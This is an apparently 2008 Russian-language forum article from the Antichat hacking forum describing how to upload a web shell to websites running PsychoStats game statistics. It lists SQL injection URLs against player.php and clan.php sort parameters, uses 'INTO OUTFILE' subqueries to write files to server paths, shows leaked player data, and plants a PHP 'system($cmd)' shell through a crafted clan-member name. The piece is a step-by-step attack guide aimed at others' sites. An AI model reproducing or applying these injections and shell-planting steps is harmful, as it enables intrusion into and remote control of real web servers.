ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Заливаем шелл через PsychoStats
  #1  
Старый 08.01.2008, 23:59
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
Smile Заливаем шелл через PsychoStats

Здравствуйте, предлагаю Вашему вниманию статью про то, как залить шелл на сайт через игровую статистику PsychoStats.
Статья, по-существу, является описанием к видео .
Главной проблемой в заливке шелла через эту игровую статистику является нахождение пути к папке с правами на запись.

Если Вы нашли сайт с такой статой и нашли полный путь к папке с определёнными правами, тогда вам повезло и можно залить шелл
И так, по шагам...
Сперва мне пришла в голову идея как-либо полезно воспользоваться паблик "сплойтом" для этой игровой статы...
Код:
http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00
Попробовал на локальном сайте, ввёл в броузерную строку сплойт и получил кучу ошибок, после чего стата больше не открывалась в принципе =\...Не зная в чем дело, попросил помощи в соответствующем разделе на ачате Правда, ответа так и не получил, зато мне дали толчок найти другие дыры(спасибо Scipio), собственноручно нашёл уже ранее найденные уязвимости в стате. Это были sql-inj после "order by".
Код:
/player.php?id=1093&ssort=(-skill*1)&sorder=desc#plrsessions
/clan.php?id=3&psort=(-deaths*1)&porder=desc
Далее хочу сказать спасибо Noiro, он предложил использовать подзапросы в этих скулях, что я и сделал.
Код:
/player.php?id=1093&ssort=(-skill*(select 1))&sorder=desc#plrsessions
/clan.php?id=3&psort=(-deaths*(select 1))&porder=desc
На удивление, эти скули работали =\ После чего я решил попробовать записать запрос в файл на сервере...
Код:
/player.php?id=1093&ssort=(-skill*(select 1 into outfile '/path/file.txt'))&sorder=desc#plrsessions
Файл создался и в него было записано следующее...
Код:
1191849001	1191849415	7405.11	4	4	1.00	2	50.00	0	0	0.00	0	0.00	593	53	11	13.25	20.75	0	414
1191852522	1191854127	7283.30	22	10	2.20	10	45.45	0	0	0.00	0	0.00	3262	261	77	11.86	29.50	0	1605
1191938597	1191938813	7195.62	2	2	1.00	1	50.00	0	0	0.00	1	50.00	404	32	10	16.00	31.25	0	216
1192130752	1192130937	7067.62	2	0	2	2	100.00	0	0	0.00	0	0.00	229	51	8	25.50	15.69	0	185
1192024974	1192026895	7038.66	38	18	2.11	4	10.53	0	0	0.00	0	0.00	4999	289	85	7.61	29.41	1	1921
Это статистика некоторого пользователя с id=1093. Как видно записались одни цифры =( После этой неудачи я решил записать запрос в файл через другую скулю(а вдуг чего изменится!!!)...
Код:
/clan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/server/www/info/inet2/2.txt'))&porder=desc
Получил в файле такую лабуду...
Код:
1093	1093	2007-04-06	2007-09-30	21.24	0	11	8	72.73	36	90.00	40	2.91	28	2.04	308	0	82	377	314	374	333	29.50	88582	607	16	6	0.99	5	0.86	76	0	172	29.45	2284	0	0	0	0	31	584	25	0.96	0.72	1191141416	48366	3	25.00	1373	10751	18.41	3	580	617	495	796	70.50	117	12	0	0	0	1093	167840198	1175835726	3	1	2	7136.22	10000.00	1198267271	1	167840198	\N	[@_oFF_D]~TURIK.<awp>~									0	\N	\N
1105	1105	2007-04-26	2007-06-02	21.72	0	17	10	58.82	44	88.00	50	1.79	37	1.32	209	0	133	713	683	562	534	33.40	253615	1462	24	17	1.16	16	0.92	130	0	602	34.56	6452	0	0	0	0	32	1742	20	1.19	1.01	1180795626	103380	0	0.00	2799	29702	17.05	10	909	1224	712	1065	66.60	177	12	0	0	0	1105	167840029	1177607393	3	32	33	4230.00	10000.00	1197207865	1	167840029	\N	[@_oFF_D]-=TURIK=-									0	\N	\N
23	23	2006-04-16	2007-12-16	19.32	0	37	22	59.46	426	88.02	484	1.66	390	1.33	3160	0	1263	6261	8781	5542	7798	41.72	2144771	11281	23	99	0.88	136	0.95	1173	0	4327	30.38	58846	0	0	0	0	40	14241	55	1.26	1.12	1197827019	761210	33	17.65	29223	304526	21.38	62	7654	9540	8698	10894	58.28	1644	187	1	0	0	23	167840133	1145209176	3	49	50	3612.55	3782.04	1197827019	1	167840133	\N	[@_oFF_D]_[@$PeR]						skull.gif			0	\N	\N
Помимо всякой чуши из циферок, в файле я нашёл имена мемберов клана с id=3(префикс которого=[@_oFF_D]). Потом мне пришло в голову , что если я состою в клане, то назвавшись, к примеру, "<? system($cmd) ?>", я залью это в файл и получу шелл!!! Благо на имена пользователей в этой стате никаких ограничений не стоит и я так и сделал. Шелл залился, всё прошло замечательно!

С наилучшими пожеланиями, FoST 8(тире)794(тире)038
(с) FoST
08.01.2008, 23:00

Статья впервые опубликована здесь на ачате.

Последний раз редактировалось AFoST; 09.01.2008 в 00:08.. Причина: надо =\
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
шелл через xoops k1b0rg Болталка 7 28.03.2008 16:48
Как залить шелл в Smf 1.1 Rc2 через админку? 1ten0.0net1 Форумы 4 05.02.2006 11:59
залить шелл через ipb 2.0.4 alakazam Форумы 4 16.11.2005 22:08
Как можно загрузить шелл в ipb через смайлики? dyx Форумы 3 14.05.2005 14:04
Как залить шелл через PhPBB SheFF Форумы 5 29.11.2004 01:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ